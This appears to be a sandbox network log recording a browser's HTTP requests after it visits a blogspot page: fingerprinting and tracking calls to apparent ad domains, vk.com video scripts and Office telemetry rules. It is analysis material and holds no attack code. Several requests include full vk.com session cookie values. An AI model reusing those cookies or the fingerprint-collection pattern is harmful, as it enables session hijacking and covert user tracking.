Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-145b3"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /js/al/lite.js?108 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239241&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /js/lang3_2.js?28815759 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239241&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-356a"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-145b3"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/api/widgets/chunks/c3d11fba.0833d8a1.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/api/widgets/polyfills.0afb34f6.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/bootstrap.ef881778.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /gid.js?pub=0&userId=f2f49fd4c0434a65982f5e4c1488d6fd&zoneId=8165884&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1Host: my.rtmark.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/common.8ff2658b.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /2024/10/6_11.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-Modified-Since: Mon, 14 Oct 2024 20:30:16 GMT
Source: global traffic	HTTP traffic detected: GET /?rb=GYyCU8wcSyU6mZu280uS0WdxT5lfTch19qonlYUl8wqJX0iBetkzTQkLiEbb-T0RdiPv_zVheZ9Sdu6jefnjiUeXQc5gFm4D9wc8Ge8508iAwDp1adPYTz97S53arYWlN--8yJLc2P7ZgjPd3O4JOPSUEOv_ucT8FV7UQzRI3MLfNMcadOG40FqFyqGhXOs6IBsGrtL4GXE7txk5SlkRdj0YRPLj7wouN4a_Mhgk-FI5Ev6pIEfmAFJlGU7KN6Y2sgE48Qa43LNUatnlquW37-om75jlmklUhuy5rzbr5DWumA4Ep4aAgrzwDwOdxMz-dbj88IKp4DwhS1A-LD6tapycH_k%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=-1&wiw=-1&ww=-1&wh=-1&sah=984&wx=0&wy=0&cw=0&wfc=39&pl=https%3A%2F%2Fsqsq2938.blogspot.com%2F2024%2F10%2F78.html&drf=https%3A%2F%2Fwww.mycimalive.com%2F&np=1&pt=0&nb=1&ng=1&ix=1&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=true&pnt=0&pnrc=0&bml=1&bmi=1&wasm=1&bs=9c2c609b-6e91-4b5a-b233-32b0ac0ca9bf&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /2024/10/4_4.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-Modified-Since: Mon, 14 Oct 2024 20:30:16 GMT
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/defaultSkin.min.js HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /js/al/lite.js?108 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239206Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/video_ext.4206c448.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkcom-kit.ce416d7d.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/public/al/lite.f8081c5724ea3c8f7503758696b1108c.js?108 HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239241&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /gid.js?userId=0080f52b8e41436deb287525cd342cae HTTP/1.1Host: my.rtmark.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-145b3"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /js/loader_nav21223558768_3.js HTTP/1.1Host: vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /gid.js?pub=0&userId=f2f49fd4c0434a65982f5e4c1488d6fd&zoneId=8165884&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1Host: my.rtmark.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
